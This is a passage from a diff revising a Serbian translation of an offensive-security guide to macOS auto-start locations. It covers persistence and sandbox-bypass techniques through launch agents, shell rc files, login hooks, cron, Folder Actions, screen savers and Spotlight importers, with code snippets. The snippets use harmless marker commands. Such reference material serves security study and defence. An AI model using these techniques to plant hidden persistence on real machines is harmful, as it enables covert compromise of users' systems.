funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**. +Ova sekcija se temelji na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ako je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**. -## Bypassovanje Peska +## Bypassovanje peska {% hint style="success" %} Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeno **vreme** ili **akciju koju obično možete izvršiti** iz peska bez potrebe za root dozvolama. @@ -30,16 +30,16 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k #### Lokacije * **`/Library/LaunchAgents`** -* **Okidač**: Restartovanje +* **Okidač**: Restart * Potrebno root pristup * **`/Library/LaunchDaemons`** -* **Okidač**: Restartovanje +* **Okidač**: Restart * Potrebno root pristup * **`/System/Library/LaunchAgents`** -* **Okidač**: Restartovanje +* **Okidač**: Restart * Potrebno root pristup * **`/System/Library/LaunchDaemons`** -* **Okidač**: Restartovanje +* **Okidač**: Restart * Potrebno root pristup * **`~/Library/LaunchAgents`** * **Okidač**: Ponovno prijavljivanje @@ -48,7 +48,7 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k #### Opis & Eksploatacija -**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistovima** u: +**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistama** u: * `/Library/LaunchAgents`: Agensi instalirani po korisniku od strane administratora * `/Library/LaunchDaemons`: Demoni na nivou sistema instalirani od strane administratora @@ -57,7 +57,7 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** k Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` se pokreću sa **dozvolama prijavljenih korisnika**. -**Glavna razlika između agenata i demona je što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini. +**Glavna razlika između agenata i demona je u tome što se agenti učitavaju kada se korisnik prijavi, a demoni se učitavaju pri pokretanju sistema** (kako postoje servisi poput ssh koji moraju biti izvršeni pre nego što bilo koji korisnik pristupi sistemu). Takođe, agenti mogu koristiti GUI dok demoni moraju raditi u pozadini. ```xml @@ -80,21 +80,21 @@ Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgent ``` -Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje pomoćne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer). +Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje asistivne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer). {% hint style="info" %} -Konfiguracioni fajlovi novih Daemona ili Agenta će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load ` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F ` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\ +Konfiguracioni fajlovi novih demona ili agenata će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load ` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F ` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\ Takođe je moguće **isključiti** ih sa `launchctl unload ` (proces na koji pokazuje će biti završen). -Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agent** ili **Daemona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` +Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agenta** ili **Demona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` {% endhint %} -Izlistajte sve agente i daemone učitane od strane trenutnog korisnika: +Izlistajte sve agente i demone učitane od strane trenutnog korisnika: ```bash launchctl list ``` {% hint style="warning" %} -Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim fasciklama demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija. +Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija. {% endhint %} ### fajlovi za pokretanje ljuske @@ -124,7 +124,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the * `/etc/profile` (nije radilo) * `~/.profile` (nije radilo) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` -* **Okidač**: Očekuje se da se pokrene sa xterm, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set` +* **Okidač**: Očekuje se da će se pokrenuti sa xterm, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set` #### Opis & Eksploatacija @@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### Ponovno otvorene aplikacije {% hint style="danger" %} -Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da izvršim aplikaciju. (Aplikacija nije bila pokrenuta, možda treba da se pokreće kada se ove radnje izvrše) +Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da bih izvršio aplikaciju. (Aplikacija nije bila izvršena, možda treba da se pokreće kada se ove radnje izvrše) {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) @@ -149,7 +149,7 @@ Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljiv #### Lokacija * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **Okidač**: Ponovno pokretanje otvorenih aplikacija +* **Okidač**: Ponovno pokretanje aplikacija #### Opis i Iskorišćavanje @@ -165,7 +165,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` -Da **dodate aplikaciju na ovu listu** možete koristiti: +Da **dodate aplikaciju na ovaj spisak** možete koristiti: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ @@ -210,7 +210,7 @@ Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Ter } [...] ``` -Dakle, ako se plist datoteka postavki terminala u sistemu može prebrisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**. +Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**. To možete dodati sa komandne linije pomoću: @@ -275,21 +275,21 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// * Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button) * TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle) -* Možda ćete dobiti dodatni TCC pristup +* Možda ćete dobiti dodatni pristup TCC-u #### Lokacija * **`/Library/Audio/Plug-Ins/HAL`** -* Potreban je root pristup -* **Okidač**: Ponovno pokretanje coreaudiod ili računara +* Potreban je root +* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara * **`/Library/Audio/Plug-ins/Components`** -* Potreban je root pristup -* **Okidač**: Ponovno pokretanje coreaudiod ili računara +* Potreban je root +* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara * **`~/Library/Audio/Plug-ins/Components`** -* **Okidač**: Ponovno pokretanje coreaudiod ili računara +* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara * **`/System/Library/Components`** -* Potreban je root pristup -* **Okidač**: Ponovno pokretanje coreaudiod ili računara +* Potreban je root +* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara #### Opis @@ -301,7 +301,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit. * Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button) * TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle) -* Možda ćete dobiti dodatni TCC pristup +* Možda ćete dobiti dodatni pristup TCC-u #### Lokacija @@ -313,14 +313,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit. #### Opis & Eksploatacija -QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka izabrana u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**. +QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka označena u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**. -Moguće je kompajlirati svoj QuickLook dodatak, postaviti ga na jednoj od prethodnih lokacija da ga učitate, a zatim otići do podržane datoteke i pritisnuti razmak da ga pokrenete. +Moguće je kompajlirati svoj QuickLook dodatak, smestiti ga na jedno od prethodnih mesta kako bi se učitao, a zatim otići do podržane datoteke i pritisnuti razmak kako biste ga pokrenuli. ### ~~Login/Logout Hooks~~ {% hint style="danger" %} -Ovo nije radilo za mene, ni sa korisničkim LoginHook ni sa root LogoutHook +Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-om {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) @@ -330,10 +330,10 @@ Ovo nije radilo za mene, ni sa korisničkim LoginHook ni sa root LogoutHook #### Lokacija -* Morate biti u mogućnosti da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +* Morate moći da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` * `Lo`ciran u `~/Library/Preferences/com.apple.loginwindow.plist` -Oni su zastareli ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi. +Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -343,7 +343,7 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` -Ova postavka se čuva u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` +Ova postavka je sačuvana u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` datoteci. ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { @@ -365,7 +365,7 @@ Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.logi ## Uslovno zaobilaženje peska {% hint style="success" %} -Ovde možete pronaći lokacije za pokretanje korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u datoteku** i **očekujete ne baš česte uslove** kao što su specifični **instalirani programi, "neobične" korisničke** radnje ili okruženja. +Ovde možete pronaći lokacije pokretanja korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u datoteku** i očekujete ne baš česte uslove poput specifičnih **instaliranih programa, "neobičnih" korisničkih** radnji ili okruženja. {% endhint %} ### Cron @@ -385,13 +385,13 @@ Ovde možete pronaći lokacije za pokretanje korisne za **zaobilaženje peska** #### Opis & Eksploatacija -Prikažite cron poslove **trenutnog korisnika** sa: +Izlistajte cron poslove **trenutnog korisnika** sa: ```bash crontab -l ``` -Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potrebne su administratorske privilegije). +Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potreban je root). -Na macOS-u se mogu pronaći različite mape koje izvršavaju skripte sa **određenom učestalošću**: +Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte s **određenom učestalošću**: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ @@ -443,7 +443,7 @@ Launch Daemons are used to run processes at system boot or login. They are store ### Login Items -Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`. +Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`. ### Startup Items @@ -468,11 +468,11 @@ Skripta **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** će t ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal. +Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal. -Ovu postavku možete konfigurisati u iTerm2 podešavanjima: +Ovu postavku možete konfigurisati u postavkama iTerm2: -
+
A komanda se odražava u postavkama: ```bash @@ -539,11 +539,11 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" #### Lokacija * **`~/.hammerspoon/init.lua`** -* **Okidač**: Jednom kada se pokrene Hammerspoon +* **Okidač**: Jednom kada se Hammerspoon pokrene #### Opis -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju na **macOS-u**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju za **macOS**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja. Aplikacija traži jedan fajl, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena. ```bash @@ -557,7 +557,7 @@ EOF * Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button) * Ali BetterTouchTool mora biti instaliran * TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button) -* Zahteva dozvole za automatizaciju prečica i pristupačnosti +* Zahteva dozvole za automatizaciju prečica i pristupačnost #### Lokacija @@ -643,9 +643,9 @@ Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.ba ### ZIP kao stavka za prijavljivanje -(Pogledajte prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje) +(Proverite prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje) -Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim vratima, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da će sledeći put kada se korisnik ponovo prijavi, **zadnja vrata naznačena u plist-u će biti izvršena**. +Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim ulazom, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da sledeći put kada se korisnik ponovo prijavi, **zadnji ulaz naznačen u plist-u će biti izvršen**. Druga opcija bila bi kreiranje datoteka **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila. @@ -711,7 +711,7 @@ unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} -Ako AT zadaci nisu omogućeni, kreirani zadaci neće biti izvršeni. +Ako zadaci AT nisu omogućeni, kreirani zadaci neće biti izvršeni. {% endhint %} **Datoteke poslova** mogu se pronaći na `/private/var/at/jobs/` @@ -723,13 +723,13 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` -Naziv datoteke sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`. +Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`. * `a` - ovo je red * `0001a` - broj posla u heksadecimalnom formatu, `0x1a = 26` * `019bdcd2` - vreme u heksadecimalnom formatu. Predstavlja minute koje su prošle od epohe. `0x019bdcd2` je `26991826` u decimalnom formatu. Ako ga pomnožimo sa 60 dobijamo `1619509560`, što je `GMT: 2021. April 27., utorak 7:46:00`. -Ako odštampamo datoteku posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`. +Ako odštampamo fajl posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`. ### Akcije fascikle @@ -739,7 +739,7 @@ Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89 * Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button) * Ali morate moći da pozovete `osascript` sa argumentima da biste kontaktirali **`System Events`** kako biste mogli konfigurisati Akcije fascikle * TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle) -* Ima neka osnovna TCC odobrenja poput Desktop, Documents i Downloads +* Ima neka osnovna TCC odobrenja poput Desktopa, Dokumenata i Preuzimanja #### Lokacija @@ -751,13 +751,13 @@ Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89 #### Opis & Eksploatacija -Akcije fascikle su skripte koje se automatski pokreću promenama u fascikli poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora fascikle. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi. +Akcije fascikle su skripte automatski pokrenute promenama u fascikli poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora fascikle. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi. Za postavljanje Akcija fascikle, imate opcije kao što su: -1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servis. -2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekst meniju fascikle. -3. Korišćenje OSAScript-a za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle. +1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servisa. +2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekstualnom meniju fascikle. +3. Korišćenje OSAScripta za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle. * Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti. Naredni skript je primer onoga što može biti izvršeno putem Akcije fascikle: @@ -774,7 +774,7 @@ Da biste napravili gore navedeni skript upotrebljivim za Akcije fascikle, kompaj ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će povezati prethodno kompajliranu skriptu sa Desktop folderom. +Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će prikačiti prethodno kompajliranu skriptu na Desktop folder. ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -812,19 +812,19 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` Zatim otvorite aplikaciju `Folder Actions Setup`, izaberite **folder koji želite da pratite** i izaberite u vašem slučaju **`folder.scpt`** (u mom slučaju sam ga nazvao output2.scp): -
+
Sada, ako otvorite taj folder sa **Finder**-om, vaš skript će biti izvršen. -Ova konfiguracija je sačuvana u **plist** fajlu smeštenom u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu. +Ova konfiguracija je sačuvana u **plist** fajlu koji se nalazi u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu. -Sada, pokušajmo da pripremimo ovu postojanost bez pristupa GUI-ju: +Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju: 1. **Kopirajte `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u `/tmp` da biste napravili rezervnu kopiju: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. **Uklonite** Folder Actions koje ste upravo postavili: -
+
Sada kada imamo prazno okruženje @@ -850,7 +850,7 @@ Tekst: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi #### Opis & Eksploatacija -Sve aplikacije koje se pojave u Dock-u su navedene unutar plist fajla: **`~/Library/Preferences/com.apple.dock.plist`** +Sve aplikacije koje se pojave u Dock-u su navedene unutar plist-a: **`~/Library/Preferences/com.apple.dock.plist`** Moguće je **dodati aplikaciju** samo sa: @@ -936,7 +936,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevil #### Opis & Eksploatacija -**Kompajlirajte birač boja** paket sa vašim kodom (možete koristiti [**ovaj na primer**](https://github.com/viktorstrate/color-picker-plus)) i dodajte konstruktor (kao u [odeljku o čuvarima ekrana](macos-auto-start-locations.md#screen-saver)) i kopirajte paket u `~/Library/ColorPickers`. +**Kompajlirajte birač boja** paket sa vašim kodom (možete koristiti [**ovaj na primer**](https://github.com/viktorstrate/color-picker-plus)) i dodajte konstruktor (kao u [odeljku o čuvaru ekrana](macos-auto-start-locations.md#screen-saver)) i kopirajte paket u `~/Library/ColorPickers`. Zatim, kada se birač boja pokrene, vaš bi trebao takođe. @@ -980,27 +980,27 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit. Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle) -* Ali završićete u zajedničkom pesku aplikacije +* Ali završićete u zajedničkom aplikacionom pesku * TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle) #### Lokacija * `/System/Library/Screen Savers` -* Potreban je root +* Potreban je root pristup * **Okidač**: Izaberite screensaver * `/Library/Screen Savers` -* Potreban je root +* Potreban je root pristup * **Okidač**: Izaberite screensaver * `~/Library/Screen Savers` * **Okidač**: Izaberite screensaver -
+
#### Opis & Eksploatacija -Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte kod u njega, na primer sledeći kod za generisanje logova. +Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte svoj kod u njega, na primer sledeći kod za generisanje logova. -**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim, otvorite GUI Screen Saver i ako samo kliknete na njega, trebalo bi da generiše puno logova: +**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim otvorite GUI Screen Saver-a i ako samo kliknete na njega, trebalo bi da generiše mnogo logova: {% code overflow="wrap" %} ```bash @@ -1017,7 +1017,7 @@ Timestamp (process)[PID] Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) možete pronaći **`com.apple.security.app-sandbox`** bićete **unutar zajedničkog aplikacionog peska**. {% endhint %} -Kod čuvara ekrana: +Kod čuvara: ```objectivec // // ScreenSaverExampleView.m @@ -1098,10 +1098,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. * **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak. * `/Library/Spotlight/` * **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak. -* Potreban je root +* Potreban je root pristup * `/System/Library/Spotlight/` * **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak. -* Potreban je root +* Potreban je root pristup * `Some.app/Contents/Library/Spotlight/` * **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak. * Potrebna je nova aplikacija @@ -1109,11 +1109,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. #### Opis & Eksploatacija Spotlight je ugrađena funkcija pretrage macOS-a, dizajnirana da korisnicima pruži **brz i sveobuhvatan pristup podacima na njihovim računarima**.\ -Da bi olakšao ovu brzu mogućnost pretrage, Spotlight održava **svoju bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj. +Da bi olakšao ovu brzu mogućnost pretrage, Spotlight održava **vlastitu bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz nazive fajlova tako i kroz njihov sadržaj. -Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu uslugu Spotlight-a. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su mogući putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova. +Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu Spotlight uslugu. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite održavajuće zadatke, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su omogućeni putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova. -Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koji servis). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom. +Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koju uslugu). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom. Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem: ```bash @@ -1124,7 +1124,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` između ostalih): +Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` među ostalima): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1169,12 +1169,12 @@ Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTyp Za kreiranje sopstvenog uvoznika možete početi sa ovim projektom: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) a zatim promeniti ime, **`CFBundleDocumentTypes`** i dodati **`UTImportedTypeDeclarations`** kako bi podržao ekstenziju koju želite da podržite i odraziti ih u **`schema.xml`**.\ Zatim **promenite** kod funkcije **`GetMetadataForFile`** da izvrši vaš payload kada se kreira datoteka sa obrađenom ekstenzijom. -Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti kada se učita **prateći logove** ili proverom **`mdimport -L.`** +Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti da li je učitan **prateći logove** ili proverom **`mdimport -L.`** ### ~~Preference Pane~~ {% hint style="danger" %} -Ne izgleda da ovo više radi. +Izgleda da ovo više ne radi. {% endhint %} Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) @@ -1191,12 +1191,12 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit. #### Opis -Ne izgleda da ovo više radi. +Izgleda da ovo više ne radi. ## Root Sandbox Bypass {% hint style="success" %} -Ovde možete pronaći početne lokacije korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u 